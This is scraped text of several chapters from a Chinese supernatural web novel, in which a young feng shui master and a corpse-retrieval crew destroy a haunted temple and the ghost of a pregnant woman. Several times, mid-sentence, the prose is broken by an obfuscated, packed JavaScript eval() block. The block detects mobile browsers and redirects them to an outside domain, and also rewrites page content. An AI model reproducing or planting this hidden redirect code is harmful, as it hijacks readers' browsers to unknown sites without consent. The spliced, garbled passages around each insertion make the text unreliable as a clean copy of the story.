沉凝思索,我道:“先离开这庙子,出去准备准备,过了正午十二点,就开始挖。” “另外,胡夫人你将这余玉歌的后事办好,死讯是不好不让家人知道的,该说的要说,尽量让她家人愿意将她带回去好生安葬,入土为安。” “如果可以的话,将她爸妈接来。” “嗯,天黑之前,一定要来。” 我这一番话语调深重。 “这……” 胡夫人脸上闪过为难之色,随后她一咬牙,说:“知道了,我这就去办,这样做,我家男人就不用死吗?” “冷庙之鬼作祟,才导致一系列事情的发生,这凶宅是胡家修的,胡家自然遭罪,鱼头庙挖了,冷庙之鬼平息,自然不会有灾劫,不过,要看时间,如果在这之前胡家主**,我也没有回天之力。”我回答。 同时内心隐隐有怔怔。 不知觉间,我话语间都带着几分深奥了? 学了葬经百解和神相千壳之后的本能吗? 毕竟风水和算命就是玄之又玄,我也算是个有些玄的半吊子先生了? “那今天解决,来得及吗?”胡夫人又问。 “婆娘家家,舌头长,胡夫人,你再多问几句,小陈多给你解释的时间,胡家主没事都要有事,喘气儿都得咽气儿了!”苟驹走到鱼头庙门外,他似有些不耐。 “知,知道了……先出来,胡彬,你带人去准备,看看要多少人手。” 胡夫人立即看向身后一人,低声说。 “是……我马上去办……” 所有人往庙外鱼贯而出。 很快,便只剩下我一人在其中。 苟驹没进来,他拧着眉头,面露迟疑,徐湘灵一样没进来,在另一侧站着。 他们两人身后还有那五个捞尸队的人,全都面面相觑,带着一丝丝紧张,还有惧怕。 在这儿,是**三个捞尸队的成员的。 “先铲了庙,再捞尸吗?”苟驹问我。 “不出意外的话,就是冷庙之鬼作祟,胡霖因此而死,为什么她要让胡霖跪在这里,为什么要让胡霖去**?因为她就是**而死,她觉得自己是对的,胡霖是错的,才让胡霖道歉,胡霖上不了岸,大概也是因为她,她这个位置太凶了,没有她,胡霖应该很轻易就能被打捞上来。” 我解释了一遍。 苟驹点点头,喃喃道:“小陈,你的确有东西了,前几天都没见你这么有东西,这还没有士别三日呢,苟叔刮目相看。” 我笑了笑,没回答其他。 苟驹夸我,我总不能说,谢谢谬赞吧? 只是,我现在对风水的确了解更深,对面相的运用,也算是多了几分。 当然,这还算不上多厉害,只是半瓶水,摇着响罢了。 当务之急,是要将事情做好,做完善。 “只不过,刚才为什么,你对着门……”苟驹再开口。 没等他说完,我就解释了缘由。 “那的确够凶的,她是认为你一定会破坏这里,因此才对你下手吗?”徐湘灵喃喃。 “可明明,你不好对付,其余人好对付,她怎么不先对其余人下手,譬如鬼上身?”徐湘灵又不解道。 我深呼吸,才说:“还是因为时机吧,可能我能看见她,也不全是因为她的缘由,还因为我的身世?” “因此她拼一下,或许能动我伤我,阳光下她能出现,却伤不了别人,动不了别人。这里的风水,还是没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我脑袋晕晕的,一头要朝着地上栽去。 “小陈!”苟驹惊声喊我,徐湘灵赶紧伸手搀扶! 第156章 你千刀万剐,你没有良心! 苟驹一把拉住我左手,徐湘灵搀扶住我右臂,让我站稳了。 我脑袋浑浑噩噩,心更是一阵发绞的痛,窒息感更强,发绞的感觉更强,就好像心梗了一样。 苟驹往我脸上抽了两下。 “你别**。”徐湘灵说着,赶紧将我平放在地上,她一手掐住我的人中,用力。 痛,席卷而来。 脑子稍稍清醒一些了。 只不过,我眼尾却一阵发烫。 “陈先生……你怎么哭了……”徐湘灵脸色一变再变。 “小陈,你别吓人,你鬼上身了!?”苟驹神色悚然,更瞪着前方的鱼头庙。 一时间,我却说不出话来。 只是脑子清醒,却动弹不得。 过了好久好久,我才总算醒转,回过神。 直起身来,我重重吐了口浊气,又抚过胸口。 呼吸是顺畅了,心没有绞痛。 身旁乌泱泱围过来很多人。 胡家那些人,捞尸队的人,全都眼巴巴的看着我,多少,眼中都透着一丝担忧。 “我没事,不是鬼上身,只是身体有些不舒服。”我哑声开了口。 周围众人这才松了口气。 “我说呢,原来是阳气被抽多了,虚了?” 苟驹神态轻松许多,拍了拍我肩膀:“回头苟叔给你倒点儿**骨泡的大酒,给你补一补!” “这玩意儿他们喝了,个顶个的说好用,我声明,我没喝啊。” 这最后一句话,苟驹是看着徐湘灵说的。 徐湘灵没理他。 只是搀扶着我站起来,又帮我轻拍后背。 我只是勉强一笑,却无言。 低头看自己的右手食指,指尖的确有血。 “我这里有创可贴。”徐湘灵小声说着,摸出来一张创可贴。 “不用。”我话音依旧略沙哑。 十指连心,指裂所以心痛。 神相千壳前面几页就解释过,算法有数种,指算是其一,只要当了先生,学了算命术,一旦发生指裂的事情,就一定会出事。 这件事情,可能是可能是祸临己身,可能是伤及家人。 是胡家的事情,我办不了,冥冥之中,老天爷给我警告? 阳光好大,格外刺目。 我呆站好久,直至苟驹再度喊我,让我吃点儿东西。 徐湘灵递给我一杯插好的豆浆。 其实我这会儿没胃口。 只是,腹中空空,该吃还是得吃。 吃了两根油条,喝了豆浆,心里稍稍舒服一些了。 中午到了。 正午光线最刺目的时候,应该是最热的时候,忽然一下,天冷了下来。 胡家人都被吓得不轻,指着鱼头庙直哆嗦。 鱼头庙前头,站着一个女人! 这女人挺着孕肚,举着手,她手腕上有一条很大的伤口,正在不停的淌血。 她脸色煞白,她脚下全都是血,血疯狂的往外蔓延,像是要蔓延到我们身旁! 她在笑,她尖锐的笑,桀桀桀的笑,活像是恶鬼出笼! 胡家有胆小的,一屁股坐地上了。 这时,一个捞尸队的人惊悚的喊了句:“江面!” 不少人扭头去看,我同样扭过头去,却瞧见江面飘着一具大腹便便的男尸。 他很胖。 不知道是因为水泡太多了,还是他本身就胖。 不光如此,他脸还很白,明明距离很远,都能看出来,他是面朝上。 有胡家人哆嗦不已,喊了胡霖的名字。 其实正午这一瞬,时间很短,大概只有那么一两分钟? 对,至多一两分钟,可依旧给人一种分秒度日的错觉。 鱼头庙门前,余玉歌的血始终没有蔓延到我们脚下,胡霖的尸身最终沉入进了江底,没有一直飘在水面。 正午大阴的时刻过了。 那个叫胡彬的人凑上前,他显得毕恭毕敬,说:“陈先生,我家夫人还在余玉歌家里商量后事儿,请余家的两口子过来呢,这事儿应该妥,他们都知道女儿有问题,其实余玉歌的死,胡家早就找过余家,尸体没还给他们,压在庙下,是那家人同意了的,他们还拿了不少钱。” “总归,这事儿您放心,庙呢?咱们怎么拆?” 能看出来,胡家是一分钟都不想要这鱼头庙存在下去了。 “全挖,铲平,天黑之前要完成,夷为平地。” 我沉声开口。 立马,胡彬就去给众多胡家人下令。 好大一座庙,很快就塌了墙。 人,挖机,几乎都在卯足劲儿干,还有胡家人开了渣土车来,拆庙后的建筑垃圾直接往车上倒。 阳光分外刺眼灼目。 我心神分外不宁。 “**,小陈,你这表情看起来不对劲啊,不会因为给胡家办事儿,把你自己给整出点儿什么反噬? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尸体没挖出来,是,这里的风水没有破掉,余玉歌能冒头,可她居然能鬼上身了!? 这不对劲! 第157章 **,长命锁喉 风水有穴眼。 像是水有气口,山有气口,地一样有气口。 鱼头庙相当于凶宅,相当于余玉歌的坟茔,更是她的阴宅。 这并不是说,铲掉了庙子本身,阴宅就不复存在,必须要将处于宅眼中的尸体挖出来,才能够彻底破解。 因此这地方是鬼居,只是,我用铜钱镇住了财害两个位置。 财,是余玉歌生前的贪心。 害,是她死后的毒辣。 这种**,必然能让余玉歌不能诈尸闹鬼,她居然还是鬼上身,这就足够说明问题! 必然还发生了某些事情! 不为人知,不为我所见! “下去!” 我扬起寻龙分金尺,指着胡彬的脸。 “下去?我还喊你滚出去呢,我**,我**都回不了家门,好,我好不容易有个庙子了,吃香火,受三牲,活着没有人给我尊重,**,我总算能有点儿好处吧?” “你拆我家,破我庙,你死啊!” 胡彬口中的女人话音更尖锐,他双手猛地扬起,冲着我挥舞两下,似要抓烂我的脸,只不过他又不敢上前,畏惧我手中的寻龙分金尺。 这一幕,太阴森太凶险。 苟驹以及捞尸队的人,还有徐湘灵和我保持着一定距离,他们面色分外惊疑警惕。 至于那些胡家人,他们全都只剩下惊悚和恐惧,不敢靠近,甚至纷纷开始远离。 胡彬忽然垂着双手,他眯眼笑了起来,那笑声怨毒而又幽细。 他和我保持着大概两米的距离,手缓缓的抚摸着腹部。 阴柔的神态,抚摸腹部的那动作和表情,就像是个女人,在注视着自己的孕肚。 这一幕更让人惊悚。 我闷着一口气,踏步往前,寻龙分金尺狠狠抽了下去! 我正抽胡彬囟门! 啪的一声,分外清脆,惨叫声分外剧烈。 只是,这惨叫声却不是女人的,是胡彬本身!? 他捂着头,显得痛苦极了,颤巍巍的往地上倒去。 “陈……陈先生……别打我……痛……痛……救我,救救我……” 我脸色再变。 “桀桀桀桀桀!” 尖笑混杂着奸笑,从胡彬口中传出,又成了女人的声音。 余玉歌,再度鬼上身了! “你!”我惊怒的瞪着胡彬。 实质上,我是瞪着余玉歌。 她太阴险,我打她,她就跑。 “我?我怎么了?我只能站在这里让你打吗?房子拆不掉,我人还走不掉了?” “呸!” 余玉歌说着,竟控制着胡彬,朝着我吐了一口浓痰! 我闪身躲过,再要用寻龙分金尺打。 胡彬的脸上顿显现惶恐,双手捂住头,要躲闪。 我手顿住,胡彬口中就发出余玉歌的奸笑,分明是在**我。 胸口一阵发闷,我却没办法下死手。 胡彬被我敲那一下,脑袋都在流血,整张脸看上去可怖极了。 “你打啊,你怎么不打了?你打不死我,就打死他咯。” “反正胡家没有一个好人,这里的每一个人,都是害死我,害死我腹中孩子的凶手!” 胡彬口中,是余玉歌的尖声嘶吼。 “玉歌,你别闹了啊,你……是**的啊,胡夫人早就将事情一五一十的和我们说清楚了,家里的赔偿也给了,这件事情,本身就是你不对,你何苦这样不放过胡家,也不放过自己?”哽咽的话音中,带着一丝丝哭腔。 正是胡夫人身旁那对中年夫妻在说话,男人搀扶着女人,女人显得分外哀伤,男人脸上更一阵阵燥红,不光是哀伤,他更觉得丢人。 他们正在朝着我和胡彬靠近。 我眼皮一直跳,盯着胡彬的脸。 尸鬼这种东西,对,说来的确恐怖。 可无论是尸还是鬼,曾经都是人,对于余玉歌的父母来说,余玉歌就是他们含辛茹苦养大的女儿,他们此刻的神态,就单论余玉歌妈妈来说,余玉歌一定更是他们朝思暮想的人。 这就是我让胡夫人将他们请来的目的。 让鬼心甘情愿的走,好过于拼命死斗,况且,我还没有多大本事,只知道运用风水,以及粗略使用一下寻龙分金尺和仕金盘。 哭腔,再度从胡彬口中出现。 他身体不停的抽搐,不停的痉挛,他哭了,眼睛淌下泪水,而他头顶在淌血,血本来也浸入眼中,泪水就成了血泪。 “我不对?我哪儿不对了!” “我怀了胡霖的孩子啊!” “亲子鉴定,就是他的!我不就是犯了一点男人都会犯的错,不就是因为我是女人吗?男人喜欢漂亮女人,女人就不能喜欢好看的男人了?凭什么我们不一样?啊!?” “凭什么他觉得我品性卑劣,凭什么就配不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那是一枚金色的锁,长命锁! 是给孩子用的长命锁! 第158章 你们这群有钱人,草菅人命! 一股浓浓的黑烟萦绕在金锁上,那黑烟还延展出一条丝线,和胡彬的腹部缠绕在一起,更多的黑烟弥漫在他腹部。 一张满是青筋的小老头脸,撑起了胡彬的肚皮,仿佛随时要破体而出! 胡彬拼命的挣扎,嘴里是余玉歌尖叫。 几米外,她爸妈怎么都不敢靠近了,女人一直哭,男人一直在跺脚,一直长叹,脸色青红交加,除了惊悚,更多的还是丢人,很快脸都成猪肝色了。 苟驹和徐湘灵则死死拽着胡彬的左右胳膊,更是不让他动! 我一下一下,夯实砸在胡彬的肚皮上,其实,是砸在那张小老头儿的脸上! 他的肚皮,开始变小。 余玉歌的惨叫愈来愈多。 “你打我孩子!你打我孩子!你要死!你要死啊!” 鬼上身并非无所不能,无非是人变得怪异悚然,本质上,人还是那个人,并不能飞檐走壁,就无所不能了。 苟驹和徐湘灵都是捞尸人,平日里在水中接触的尸尸鬼鬼不知道多少,根本不会怕一个大肚婆的鬼上身。 我再度扬起寻龙分金尺,狠狠一下砸中了胡彬脖子上的长命锁! 咔嚓一声,长命锁断裂落地。 我听到了一声婴儿的哀嚎,胡彬的肚子彻底平坦下去。 破掉的衣服,能瞧见下方皮肤,只是被抽了太多下显得乌紫,并没有被打破。 我另一手摸出一把铜钱,就要封镇胡彬的头! 先前只能用寻龙分金尺打,是因为余玉歌不会配合。 现在苟驹和徐湘灵都已经拽着他了,我就能任意施为! 说时迟那时快,胡彬猛地踌躇起来,嘴里不停的吐着白沫,再然后他像是**一样,翻着白眼,一动不动了。 “小陈!?”胡彬被吓了一跳。 “**?”徐湘灵同样悚然。 “不,是天黑了!”我陡然转过身,走到余玉歌的埋尸之处。 地上那漆黑黑的人印子,不停的淌血一样。 女人的哭嚎,婴儿的啼哭,交错夹杂,让人头皮都一阵阵发麻。 胡彬被完全拽住,眼看要被我镇住,余玉歌就回到了尸身中。 天黑,我留下的铜钱,却未必能镇得住她的尸鬼。 尤其是现在彻底将她激怒。 天更阴沉,更黑,朦朦胧胧像是萦绕着一层薄雾,以至于月亮都不可见,成了鬼月亮! 地上那几枚铜钱正在嗡嗡颤动,那人印子的腹部,似是有手要钻出来。 “要坏事啊小陈!” “我是听过的,尸产子,为尸生阴胎,阴胎嗜血,母尸凶恶,这玩意儿我们对付不了,你赶紧镇住她!” 苟驹大惊失色,他手往后拦,这动作是不让捞尸队的人靠近,以及要护住徐湘灵! 我闻言同样心惊。 毫不犹豫,我立即拿出仕金盘,就要压在地面! 仕金盘这道大符,应该是镇得住的! 可还没有等将仕金盘放下去,那转针都要飞出来,发出不堪重负的嗡鸣。 似是我强行压下去,这仕金盘就要损毁! “小陈,你这玩意儿不行,不好使!会破掉的!” “捅她!就像是你捅那个膏肓鬼一样,把她捅穿!她就魂飞魄散了!”苟驹盯着我另一手中的寻龙分金尺,喝道:“你这玩意儿才好使,又硬又强!” 噗通一声,是余玉歌的妈妈重重跪倒在地,哭腔喊道:“使不得啊,玉歌心虽然歪了一点儿,但她人不坏啊!” “我的妈呀大姨,心歪了人还不坏?你听听你说的这什么话?”苟驹白眼都快翻到天上去了。 “小陈,当断不断,反受其乱,胡家才是没问题的,我们拿了胡家的钱,给胡家办事儿,胡大少爷被她害**,这胡彬我看也快没气儿了,胡家主一样命悬一线,这死婆娘等会儿钻出来,还要弄死这里其他人呢!” “搞不好,她上身一个,就**一次,你受得了吗?” “这可不是白天,不是这劳什子倒霉催的捡了人家长命锁,让人鬼上身了,她能随便乱窜啊!” 苟驹语速连珠,催促更厉害。 我心知苟驹所说是对的。 额间汗珠豆大豆大一颗。 余玉歌的妈妈还在磕头。 那男人,也就是余玉歌的爸,脸色从青红交加又变得惨白阵阵。 地面还在颤动,余玉歌还在不停的尝试着破掉铜钱**。 胡家人听了苟驹的话,已经开始跑了。 这时,胡夫人忽然哭喊了一声:“我的儿哟!” 远处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519257|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天沧江码头位置,颤巍巍的爬上来了一人。 这**腹便便,很胖,脸很白。 怨毒的低吟声,却从另一人口中响起! 赫然是余玉歌的妈妈。 “这个死肥猪,凭他,也能找到真爱?” “我不过是看他钱多,看他好糊弄,好骗,他这副尊容,恶心**了,要不是看他是独子,要不是看胡家,我能给他怀孩子?我恶心的想吐!” “胡家不让我进门,胡家就给我灭门!” “我偏要让胡霖杀了你们,哈哈哈哈哈!” 低吟变成高亢的尖笑! 是余玉歌的妈妈在笑。 她一边笑,还在一边哭。 “放……放我女儿……投胎……投胎……她虽然……但她还是孩子,我的孩子……” 余玉歌没有完全的鬼上身。 因为地面只是开裂,那些铜钱只是有了融化的征兆,还没有完全融化。 因此,余玉歌妈妈在清醒和上身之间徘徊。 更悚然的一幕发生了。 胡霖在狂奔! 他是水里爬上来的尸体,他本身就充满了阴气,充满了死气沉沉。 他这一跑,就发出难听的咯吱声,像是气球装满了水在地面摩擦,让人直起鸡皮疙瘩! 胡夫人本来在哭胡霖,她的哭,也变成了阴险的笑。 宁听鬼哭,莫见鬼笑。 这种节骨眼的笑,就是余玉歌尝试鬼上身! 她,快出来了! 我深呼吸,猛地攥紧了寻龙分金尺,踏前一步,双手握住尺子,朝着地面狠狠插去! 这一次和对付膏肓鬼的阴差阳错巧合不一样,我,要扎穿余玉歌尸体的头! 地面正巧有了薄薄一道裂隙。 曝露出惨白的一张脸。 就在这电光火石之际,旁边那男人,余玉歌他爸动了! “你们这群有钱的,草菅人命!我女儿就算不对,有必要魂飞魄散吗!?” 他骂着,朝着我冲来。 “日你仙人板板!”苟驹凌空一个飞踢,踹中余玉歌他爸腰身,一下子把人踹飞了好几米! 余玉歌的脸刚从地面露出,嘴巴刚咧开要笑。 寻龙分金尺灌入她口中,将她钉死在地! 第159章 龙生龙,凤生凤,鬼生鬼 炙热和滚烫,这寻龙分金尺就像是烧红的烙铁,比之前用来对付胡喋,对付膏肓鬼时的温度更高! 双手紧握着的灼烧感更强,让我一声闷哼,我却并没有松开手,反而力道更大! 这尺子,不单单是贯穿了余玉歌的嘴巴,更是从后脑勺的位置穿透出去,一部分扎进了地下。 惨叫声不绝于耳,是余玉歌在惨叫,她的尸身中还有她的鬼魂,寻龙分金尺不光是扎穿她的尸体,更扎穿了她的魂魄,此刻正在不停的消磨她的魂魄! 不光是惨叫,还有哭泣,尖锐绝望痛苦不甘的哭泣。 余玉歌在七窍流血,她嘴巴里咕嘟咕嘟冒出来的血更多。 我不敢收劲儿,我不敢松手。 但凡我松懈一丝,余玉歌就要脱困,我们这一群人都得倒霉! 这鬼太凶了,不光是她,她肚子里还有一个。 全凭我用风水找到了这里的阵眼,先发制人镇住尸身,否则后果不堪设想! 余玉歌的妈妈哭着想要往前扑,徐湘灵立即上前。 徐湘灵没有苟驹那么暴力,再加上这女人也不像是余玉歌爸爸那样口不择言,因此,徐湘灵只是将她按住,不让她往前。 “草菅人命的是谁?是这贱婆娘吧?” “你牛逼大发了,还以为你多大好心眼儿,憋了半天面红耳赤的,感情在这儿等着呢。” “果然,龙生龙凤生凤,杂种生了小杂种。” “有你这样的爹,养出余玉歌这种贼婆娘,不冤。” 苟驹嘴里骂骂咧咧的,根本就没有什么好话。 我感觉我手掌都快要烂掉了。 终于,余玉歌哀嚎和哭泣声消失不见,她已然魂飞魄散了? 颤巍巍的松开手,我没有敢后退,但凡寻龙分金尺出问题,我就得赶紧握住。 不过,寻龙分金尺没有再出问题,只有余玉歌仰着头,脖子完全僵硬了,一动不动。 “好!好!!!”苟驹接连的好字,显得振奋起来。 徐湘灵同样松了一大口气。 余玉歌妈妈哭的泣不成声。 “你们不是人啊!” “我女儿都**啊,她是个**了,你们都不放过她,她就不能有点儿气吗?” “天啊,天杀的……” 余玉歌妈妈头忽然一仰,整个人往右侧一偏,便晕厥过去,昏迷不醒的倒在地上。 被踹翻在地上刚爬起来的余玉歌爸爸,他急的不停在原地跺脚,面红耳赤,想要骂,愣是没骂出声。 这是因为太急,反倒是无声了。 远处,胡霖胖朔的尸身轰然倒地,地面都仿佛震颤了一下。 胡夫人捂着嘴,呆呆的看着眼前一幕。 四面八方,本来那些要逃走的胡家人,又战战兢兢的往回走。 我低头看着自己双手,掌心中布满了细密的水泡,疼痛难忍。 “会没事了吗?陈先生?”胡夫人小心翼翼,她显得十分胆怯。 “十有**,没事了吧?她魂飞魄散了。”我这才沉声开口。 先前是苟驹和徐湘灵看出来的,是旁观人认为的。 此刻,是我确定的。 “太好了!我男人也没事儿了对吧?胡霖的尸体就在……前边儿,所以他一样没事儿了?他可以入土为安了?” 胡夫人说着说着,就激动的喜极而泣起来。 “不出意外那肯定没有意外的没事儿了。”苟驹擦了擦额头上的汗水,道:“前提是你胡家没有其他没说的事儿,别坑了我们又坑小陈。” “怎么会,没有,没有!我发誓,一五一十全都说了。”胡夫人更高兴起来。 “快去几个人,将胡彬送医院,再去几个人,把少爷的尸体收敛收敛。”胡夫人马上吩咐下令。 “你们几个,去帮忙。”苟驹看向其余几个捞尸队的人。 那几人立即要朝着胡霖的尸体走去。 可就在这时,余玉歌的妈妈忽然窜起来,一把抓住了胡夫人的胳膊,尖声喊:“你们是舒服了!?我女儿呢!?之前她就已经很可怜了,我们看事情就这样了没办法,她有个庙也算好,现在你们侮辱尸体啊!她连人都当不成了!赔钱!必须要赔钱!” 我脸色微变。 这时,余玉歌的爸爸也跑过来,他作势要抓胡夫人另外的胳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15523357|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膊。 其余胡家人没反应过来,胡夫人脸都白了,用力要挣脱。 苟驹噌的一下拔出两柄卜刀,一柄对准了余玉歌妈妈的脖子。 另一柄刀瞄准了余玉歌爸爸的脸。 “我这暴脾气,两口子一起不要脸了对吧?” “信不信我一人一刀,把你们撂在这里?!” 苟驹的声音很大很重,他口中威胁性极强! “你敢!**犯法的!”余玉歌爸爸色厉内荏。 “行啊,你问问在场胡家人会不会卖我,老子替他们出气呢。”苟驹冷冰冰回答。 一下子,那两口子戛然无声。 “松开我!”胡夫人此刻开口了,她言之凿凿,声音冰冷极了。 这会儿,她便有先前那股气势了,就是和我对峙的气势。 余玉歌妈妈手哆嗦着,她不得已,只能松开手。 “哼!”胡夫人冷叱一声:“之前给你们的钱,少了吗?在这儿翻脸来了?” “真逼急了胡家,那些钱够买你们的命了!” 果然,胡夫人也不是盖的。 就在这时,异变陡生。 余玉歌的尸体猛地抖动起来,头是被固定着,抖动的是她的一双腿。 然后,她裤子就变得沉甸甸起来,隐约还有蠕动感。 “什么鬼?”苟驹骂了一句,他没有盯着余玉歌爸妈了。 其实那两口子本来就没有任何威胁性,只是苟驹这个人,他实诚,根本见不得那些腌臜事儿,才会直接翻脸。 我心头同样突突跳个不停,低声说:“苟叔,你挑开,我看看。” 寻龙分金尺还插在余玉歌嘴里,我不好用仕金盘,怕给毁了,手里攥着几枚铜钱,随时准备动手。 苟驹踏前一步,只听哗的一声,余玉歌的裤子就被切开了。 一个皱巴巴,皮肤蜡黄中带着惨白的婴儿,在一团污血中痉挛,抽搐…… “我的妈,阴胎生了!?”苟驹腔调更变。 我看着那婴儿,都头皮发麻,尤其是它头上还有一道尺子打过的痕迹…… 隐隐约约,竟然印着一个病字!? 第160章 你这不是讹诈吗? 我先前用寻龙分金尺,狠狠抽打了这阴胎不知道多少下。又打碎了它的长命锁,才让它从胡彬的身上下来。 这个病字,就是寻龙分金尺上的印子! 余玉歌命犯财害,这阴胎犯的是病吗? 我刚才绝对没有只用一个位置打,上半截很多字眼都没有印下来,偏偏一个病字!充分说明了,这阴胎本身就有问题! 不过转念一想,**产子,怎么可能正常? “小陈,快灭了他!”苟驹再度开口,语调更重! 我深呼吸,手中的铜钱就要拍下去! 阴胎有鬼,趁它现在孱弱,将它灭掉,才是最好的选择! 可冷不丁的,我身上都冒出一股鸡皮疙瘩,汗毛根根倒立。 手头的动作,骤然停了下来! 我死死的盯着那阴胎,这一瞬,心脏都快要咚咚跳出胸口了! “小陈你搞个锤子,你怎么停下来了,弄它啊!我和你说你不知道,阴胎凶啊。”苟驹急的额头上都在冒汗。 我没有理会苟驹,还是瞪大眼睛,盯着那阴胎,耳朵嗡嗡作响。 “你还需要找到九口尸身,分别对应九星之兆,就能拿到我留下来的手段了。” 陈瞰山的一番话,在我耳边不停的回荡着。 当时,陈瞰山还不止和我说了这些,他让我将白姝灵送给河神,再找到九尸。 这几天的事情一件接一件,让人疲于应对。 还好,我承受下来了。 这口阴胎,不能诛灭! 这阴胎,对应的是二黑飞星巨门。 冷庙之鬼是余玉歌,此女凶不可控,阴胎却没有**,二黑飞星巨门,就是对应一星之兆。 九尸拉棺,我便得到了一尸?! 这阴差阳错,我相当于完成了九分之一的要求?! 不,还有河神夺女这个难关我没有想到办法攻克。 不过,阴胎是必然要留下来了! 思绪至此,我继而蹲身到阴胎旁。 说时迟,那时快,本来像是一团死肉般的阴胎,骤然一下弹起,似要朝着我脖子上咬来。 我手中还抓着铜钱呢,顿时张开手掌,狠狠一把摁了下去! 阴胎不大,铜钱在掌心,我五指张开,直接抓住阴胎身体,将它死死压在地上。 嗤嗤声响,是铜钱滚烫,白烟随之涌起,阴胎惨叫连连。 紧接着,它嘴巴咬来。 我另一手从兜里掏出来一块龟甲。 这龟甲同样是陈瞰山的法器之一,被我当成了板砖,哐当一下砸在它的头顶。 再度一声惨叫,这阴胎顿时不敢动弹半下。 深呼吸,我抬起手来。 铜钱已经印在阴胎腹部,白气还在冒着,阴胎还在哀嚎。 “小陈,你这……” 苟驹满脸茫然,是不明所以。 徐湘灵不停的深呼吸,是尽量让自己保持镇定。 “苟叔,给我一卷绳子。”我哑声开口。 哐当,一卷绳子落在我身旁,徐湘灵的动作比苟驹快得多。 我拿起绳子,便快速在那阴胎身上缠绕。 整个过程,它不敢反抗一下。 身子缠绕完了,缠上脖颈,最后到头顶位置的时候,我将三枚铜钱压在它的囟门,它一动不动,宛若死尸,是魂魄都被压住了。 一卷绳子用完,整个阴胎被包成了粽子。 我深呼吸,小心翼翼的咬破了指尖,在阴胎头部的位置开始画符。 绳子隔绝了阴胎,就相当于绳子,符是镇煞符,在风水术里边儿算是常规符文。 不过用上了血,就算是很强的镇符了。 铜钱镇尸骨,麻绳栓尸身,再加上血符压镇,任凭这阴胎还有多大手段,都不可能挣脱了。 喘了口粗气,我这才颤巍巍站起身来,一手将阴胎提起来,就像是个大号粽子。 再看一眼余玉歌,尸身完全空洞,是彻彻底底的魂飞魄散,再没有任何转机。 因此,我去拔起来了寻龙分金尺。 哐当一声闷响,余玉歌的尸身落了回去。 “小陈,你算是给你苟叔长见识了,还能这么玩儿?阴胎啊,你给镇了?”苟驹脸上感叹,是啧啧称奇。 我镇住了阴胎,此刻他倒也不怕了。 我笑了笑,说:“还行吧。” 苟驹冲着我竖了一个大拇指。 扭头,我看向一旁。 胡夫人嘴唇微颤,她是很激动的。 她既看着我,又余光看着远处。 那里,一群胡家人正在抬胡霖的尸身。 余玉歌搞出这一幕,她被我打散魂魄,从而都不需要苟驹他们下水了。 无形之中,不但胡家的冷庙之鬼被破,苟驹应在这里的凶险相格,一样解决? “胡夫人,冷庙之鬼伤人,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15523358|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡家修宅在这里,不光是她的问题,还有她腹中阴胎,这算是你胡家的人,这阴宅,就是你胡家的阴宅,正因此胡家受损更多,此刻阴宅被挖,冷庙之鬼魂飞魄散,阴胎被镇,如无意外,你家男人能保住命了。”我开口说。 “哎!好!那就太好了啊!”胡夫人都快哭了。 还有两个人一样快哭了,就是余玉歌的爸妈。 两口子被一群胡家人围着,那些胡家人一个个面色凶凶。 显而易见,大家都恨不得弄死他们两个。 刚才是关键时刻,明眼人都能看出来,一旦被破坏,胡家就要死伤惨重,家族都可能没了。 余玉歌爸妈不但要破坏,甚至还威胁要钱。 胡夫人发了话,给过他们的钱,都能买他们的命! 因此,胡家人恨。 因此,这两口子怕! “现在是的确好了,全靠小陈,差一点儿点儿,胡家可就好不起来了。” 